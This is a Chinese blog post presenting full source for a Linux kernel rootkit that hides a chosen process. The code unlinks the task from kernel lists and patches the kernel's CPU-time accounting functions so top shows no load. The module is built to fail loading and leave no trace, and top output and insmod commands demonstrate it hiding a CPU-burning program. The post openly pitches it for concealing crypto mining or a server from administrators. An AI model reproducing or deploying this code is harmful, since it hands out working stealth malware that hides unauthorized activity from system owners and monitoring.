Linux系统中彻底隐藏你的进程(rootkit挖矿利器哦)

雨点打透心脏的1/2处 2023-07-21 11:04 74阅读 0赞

最近写了一篇隐藏Linux进程的文章:
https://blog.csdn.net/dog250/article/details/105270500

上文和本文的声明: 有ROOT权限!有ROOT权限!有ROOT权限!

也许你会说,有ROOT还有啥干不了的啊!

哈哈,大部分人有ROOT依然也啥也干不了。至少,本文能让你学点手艺也不错。

感觉这个还是比较好玩的,简单直接磊落,没有那么多花活儿,寥寥几行代码,干干净净,同样在ROOT权限下,这个方案绝对是任何用户态PRELOAD库,hook procfs等方案的降维打击!这些库方案都太复杂了,没有编程功底搞不定的,像我这种不怎么会编程的,肯定玩不转。

但上文中的内核方案依然还是比较朴素,还是容易被经理抓到。

虽然ps看不到隐藏的进程,但是top中的CPU汇总还是有的啊。比如说,我隐藏了执行死循环的loop进程,但是top是这样子的:

  1. Tasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie
  2. %Cpu0 : 0.0 us, 0.3 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  3. %Cpu1 :100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  4. %Cpu2 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  5. %Cpu3 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  6. KiB Mem : 1016488 total, 702116 free, 99332 used, 215040 buff/cache
  7. KiB Swap: 2097148 total, 2097148 free, 0 used. 770848 avail Mem
  8. PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
  9. 1363 root 20 0 0 0 0 S 0.3 0.0 0:00.07 kworker/0:3
  10. 1 root 20 0 125360 3800 2496 S 0.0 0.4 0:00.79 systemd
  11. 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
  12. 3 root 20 0 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0

虽然看不到loop进程,但是CPU1的100.0 us还是真真切切的,经理肯定会注意到的…

所以说,需要hook住account_user_time这个函数,stub函数中加入下面的逻辑:

  1. static unsigned int pid = 0;
  2. module_param(pid, int, 0444);
  3. void stub_func(struct task_struct *p, u64 cputime, u64 cputime_scaled)
  4. {
  5. if (p->pid == pid) {
  6. // 如果pid是我们要隐藏的,skip掉account_user_time的堆栈。
  7. // 直接返回account_user_time的调用者。
  8. asm ("pop %rbp; pop %r11; retq;");
  9. }
  10. // 如果pid不是我们要隐藏的,就直接返回原始的account_user_time函数。
  11. }

此外,还有一个问题,我们实现进程隐藏的内核模块必须是oneshot的,必须干完就走。它不能一直驻留在系统中,否则经理肯定会查到有一个奇怪的内核模块。

也就是说,模块的init函数必须返回非0!这意味着模块的内核也会被释放,所以我们的stub函数需要额外的申请内存,且该内存还必须在account_user_time函数可以32位相对跳转的范围内。

嗯,嗯,嗯,貌似可以了,模块的init函数把事情做完后,事了拂衣去,不留身与名,空留一个stub_func来过滤account_user_time,不错,不错!

但是,且慢!

pid是个模块参数,当模块由于init函数返回非0而加载失败后,其实它的内存将会全部释放,包括pid参数,也就是说,stub_func中无法访问pid参数变量!因此,stub_func中的cmp指令比较必须采用立即数的方式,也就是说,我们需要通过模块的pid参数来校准这个stub_func中的cmp操作数。

好了,上代码了:

  1. // hide_process.c
  2. #include <linux/module.h>
  3. #include <linux/kallsyms.h>
  4. #include <linux/sched.h>
  5. #include <linux/cpu.h>
  6. char *stub = NULL;
  7. char *addr = NULL;
  8. static unsigned int pid = 0;
  9. module_param(pid, int, 0444);
  10. // stub函数模版
  11. void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
  12. {
  13. // 先用0x11223344来占位,模块加载的时候通过pid参数来校准
  14. if (p->pid == 0x11223344) {
  15. asm ("pop %rbp; pop %r11; retq;");
  16. }
  17. }
  18. #define FTRACE_SIZE 5
  19. #define POKE_OFFSET 0
  20. #define POKE_LENGTH 5
  21. void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
  22. unsigned long start, unsigned long end, gfp_t gfp_mask,
  23. pgprot_t prot, int node, const void *caller);
  24. static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
  25. static struct mutex *_text_mutex;
  26. // 需要额外分配的stub函数
  27. char *hide_account_user_time = NULL;
  28. void hide_process(void)
  29. {
  30. struct task_struct *task = NULL;
  31. struct pid_link *link = NULL;
  32. struct hlist_node *node = NULL;
  33. task = pid_task(find_vpid(pid), PIDTYPE_PID);
  34. link = &task->pids[PIDTYPE_PID];
  35. list_del_rcu(&task->tasks);
  36. INIT_LIST_HEAD(&task->tasks);
  37. node = &link->node;
  38. hlist_del_rcu(node);
  39. INIT_HLIST_NODE(node);
  40. node->pprev = &node;
  41. }
  42. static int __init hotfix_init(void)
  43. {
  44. unsigned char jmp_call[POKE_LENGTH];
  45. // 32位相对跳转偏移
  46. s32 offset;
  47. // 需要校准的pid指针位置。
  48. unsigned int *ppid;
  49. addr = (void *)kallsyms_lookup_name("account_user_time");
  50. if (!addr) {
  51. printk("一切还没有准备好!请先加载sample模块。\n");
  52. return -1;
  53. }
  54. // 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
  55. ___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
  56. _text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
  57. _text_mutex = (void *)kallsyms_lookup_name("text_mutex");
  58. if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
  59. printk("还没开始,就已经结束。");
  60. return -1;
  61. }
  62. #define START _AC(0xffffffffa0000000, UL)
  63. #define END _AC(0xffffffffff000000, UL)
  64. // 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
  65. hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
  66. GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
  67. -1, __builtin_return_address(0));
  68. if (!hide_account_user_time) {
  69. printk("很遗憾,内存不够了\n");
  70. return -1;
  71. }
  72. // 把模版函数拷贝到真正的stub函数中
  73. memcpy(hide_account_user_time, stub_func_template, 0x25);
  74. // 校准pid立即数
  75. ppid = (unsigned int *)&hide_account_user_time[12];
  76. // 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
  77. *ppid = pid;
  78. stub = (void *)hide_account_user_time;
  79. offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);
  80. jmp_call[0] = 0xe8;
  81. (*(s32 *)(&jmp_call[1])) = offset;
  82. get_online_cpus();
  83. mutex_lock(_text_mutex);
  84. _text_poke_smp(&addr[POKE_OFFSET], jmp_call, POKE_LENGTH);
  85. mutex_unlock(_text_mutex);
  86. put_online_cpus();
  87. // 隐藏进程,将其从数据结构中摘除
  88. hide_process();
  89. // 事了拂衣去,不留痕迹
  90. return -1;
  91. }
  92. static void __exit hotfix_exit(void)
  93. {
  94. // 事了拂衣去了,什么都没有留下,也不必再过问!
  95. }
  96. module_init(hotfix_init);
  97. module_exit(hotfix_exit);
  98. MODULE_LICENSE("GPL");

来吧!看个效果。

首先我们准备一个恶意的且消耗CPU的程序:

  1. #include <stdio.h>
  2. int main()
  3. {
  4. while(1) {
  5. // 暂且不打印,因为sys还没有hook
  6. //printf("经理的皮鞋进水了,但是不会胖,如果胖了请打经理电话\n");
  7. }
  8. }

运行它,看top:

  1. %Cpu0 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  2. %Cpu1 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  3. %Cpu2 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  4. %Cpu3 :100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  5. KiB Mem : 1016488 total, 727332 free, 96040 used, 193116 buff/cache
  6. KiB Swap: 2097148 total, 2097148 free, 0 used. 775868 avail Mem
  7. PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
  8. 1494 root 20 0 4212 356 280 R 100.0 0.0 0:10.15 loop
  9. 63 root 20 0 0 0 0 S 0.3 0.0 0:00.16 kworker/0:2

我们看到,loop进程的pid是1494,我们以它为参数,加载模块:

  1. [root@localhost test]# insmod ../hide_process.ko pid=1494

再看top:

  1. %Cpu0 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  2. %Cpu1 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  3. %Cpu2 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  4. %Cpu3 : 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
  5. KiB Mem : 1016488 total, 726620 free, 96772 used, 193096 buff/cache
  6. KiB Swap: 2097148 total, 2097148 free, 0 used. 775148 avail Mem
  7. PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
  8. 1 root 20 0 190956 3836 2496 S 0.0 0.4 0:00.79 systemd
  9. 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
  10. 3 root 20 0 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0

干干净净的!经理会兴叹。

好了,效果已经演示过了,来说说这个程序的问题。

首先,由于stub函数hook后只是一个pid判断,所以它的效果就是只能隐藏一个进程的CPU利用情况。如果使用一个链表的话,就比较完美,然而用汇编操作链表会引入很长的篇幅,没有意思,会让人失去兴致。

此外,我这里仅仅是hook了account_user_time这么一个函数,其实在时钟tick的处理中,要想彻底隐藏某个进程不让其时间被记账,还需要hook别的几个函数,但同样,这会引入篇幅,不利于展示手艺。所以,这里同样不再赘述这方面的完整解。

再次,本文中我这个例子是事了拂衣去的效果,它的本意就是前脚跨出大门,后脚就不准备再跨进大门的,所以没有打印被隐藏进程的地址信息,因此也就很难将其恢复了。这里的考虑依然是怕经理发现,试问,被隐藏的进程地址信息打印到哪里呢?只要打印出来,就有可能被经理抓到把柄。

经理抓到的话,就会坠入唯心主义的深渊!我们不能犯形而上学的错误。

最后,由于我们hook了时间统计函数,有经验的人肯定会想到check这个函数有没有被hook,这么一下子顺藤摸瓜,直接就露馅了…所以说,本质的做法还是要在被隐藏进程的自身来做。比如寻找一个定时机制,偷偷插入不断递减被隐藏进程CPU使用计数器的逻辑。

嗯,在中间hook一个不熟知的函数,比在开头hook一个熟知的函数,要安全很多。

附:可以同时实现隐进程隐藏,user CPU隐藏,system CPU隐藏的Linux Rootkit(需要根据Linux内核具体版本微调)

我做的这些其实就是一个rootkit,我这个rootkit和之前网上能找到的不同。事实上,我一开始并不知道我做的这个是一个rootkit,但从最终效果上看,它就是。

一般而言,所谓的rootkit都会做下面几件事:

  • hook住proc的文件系统操作。
  • 把内核模块隐藏掉。

但我这个不是如此的实现。我这个采用了完全不同的方法:

  • 直接把task从内核管理结构中摘除。
  • hook掉被隐藏进程的时间计数。
  • oneshot执行上述动作,不留内核模块。

而且我这个最大的特点就是 超级简单!!

另外,我这种方法中,既然已经做到了包括CPU利用率的100%隐藏,你也就不必把server逻辑放在内核里面了,放在用户态即可,反正经理啥也看不到!哈哈哈!

如果你真的还是要在内核中放一个server,那就搞一个内核线程呗,隐藏的方法完全一样!

  1. // hide_process.c
  2. #include <linux/module.h>
  3. #include <linux/kallsyms.h>
  4. #include <linux/sched.h>
  5. #include <linux/cpu.h>
  6. char *stub = NULL;
  7. char *addr_user = NULL;
  8. char *addr_sys = NULL;
  9. static unsigned int pid = 0;
  10. module_param(pid, int, 0444);
  11. // stub函数模版
  12. void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
  13. {
  14. // 先用0x11223344来占位,模块加载的时候通过pid参数来校准
  15. if (p->pid == 0x11223344) {
  16. asm ("pop %rbp; pop %r11; retq;");
  17. }
  18. }
  19. #define FTRACE_SIZE 5
  20. #define POKE_OFFSET 0
  21. #define POKE_LENGTH 5
  22. void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
  23. unsigned long start, unsigned long end, gfp_t gfp_mask,
  24. pgprot_t prot, int node, const void *caller);
  25. static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
  26. static struct mutex *_text_mutex;
  27. // 需要额外分配的stub函数
  28. char *hide_account_user_time = NULL;
  29. void hide_process(void)
  30. {
  31. struct task_struct *task = NULL;
  32. struct pid_link *link = NULL;
  33. struct hlist_node *node = NULL;
  34. task = pid_task(find_vpid(pid), PIDTYPE_PID);
  35. link = &task->pids[PIDTYPE_PID];
  36. list_del_rcu(&task->tasks);
  37. INIT_LIST_HEAD(&task->tasks);
  38. node = &link->node;
  39. hlist_del_rcu(node);
  40. INIT_HLIST_NODE(node);
  41. node->pprev = &node;
  42. }
  43. static int __init hotfix_init(void)
  44. {
  45. unsigned char jmp_call[POKE_LENGTH];
  46. // 32位相对跳转偏移
  47. s32 offset;
  48. // 需要校准的pid指针位置。
  49. unsigned int *ppid;
  50. addr_user = (void *)kallsyms_lookup_name("account_user_time");
  51. addr_sys = (void *)kallsyms_lookup_name("account_system_time");
  52. if (!addr_user || !addr_sys) {
  53. printk("一切还没有准备好!请先加载sample模块。\n");
  54. return -1;
  55. }
  56. // 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!
  57. ___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
  58. _text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
  59. _text_mutex = (void *)kallsyms_lookup_name("text_mutex");
  60. if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
  61. printk("还没开始,就已经结束。");
  62. return -1;
  63. }
  64. #define START _AC(0xffffffffa0000000, UL)
  65. #define END _AC(0xffffffffff000000, UL)
  66. // 为了可以在32位范围内相对跳转,必须在START后分配stub func内存
  67. hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
  68. GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
  69. -1, __builtin_return_address(0));
  70. if (!hide_account_user_time) {
  71. printk("很遗憾,内存不够了\n");
  72. return -1;
  73. }
  74. // 把模版函数拷贝到真正的stub函数中
  75. memcpy(hide_account_user_time, stub_func_template, 0x25);
  76. // 校准pid立即数
  77. ppid = (unsigned int *)&hide_account_user_time[12];
  78. // 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读
  79. *ppid = pid;
  80. stub = (void *)hide_account_user_time;
  81. jmp_call[0] = 0xe8;
  82. // hook掉user时间计数函数
  83. offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
  84. (*(s32 *)(&jmp_call[1])) = offset;
  85. get_online_cpus();
  86. mutex_lock(_text_mutex);
  87. _text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
  88. mutex_unlock(_text_mutex);
  89. put_online_cpus();
  90. // 同理hook掉sys时间计数函数
  91. offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
  92. (*(s32 *)(&jmp_call[1])) = offset;
  93. get_online_cpus();
  94. mutex_lock(_text_mutex);
  95. _text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
  96. mutex_unlock(_text_mutex);
  97. put_online_cpus();
  98. // 隐藏进程,将其从数据结构中摘除
  99. hide_process();
  100. // 事了拂衣去,不留痕迹
  101. return -1;
  102. }
  103. static void __exit hotfix_exit(void)
  104. {
  105. // 事了拂衣去了,什么都没有留下,也不必再过问!
  106. }
  107. module_init(hotfix_init);
  108. module_exit(hotfix_exit);
  109. MODULE_LICENSE("GPL");

浙江温州皮鞋湿,下雨进水不会胖。

发表评论

表情:
评论列表 (有 0 条评论,74人围观)

还没有评论,来说两句吧...

相关阅读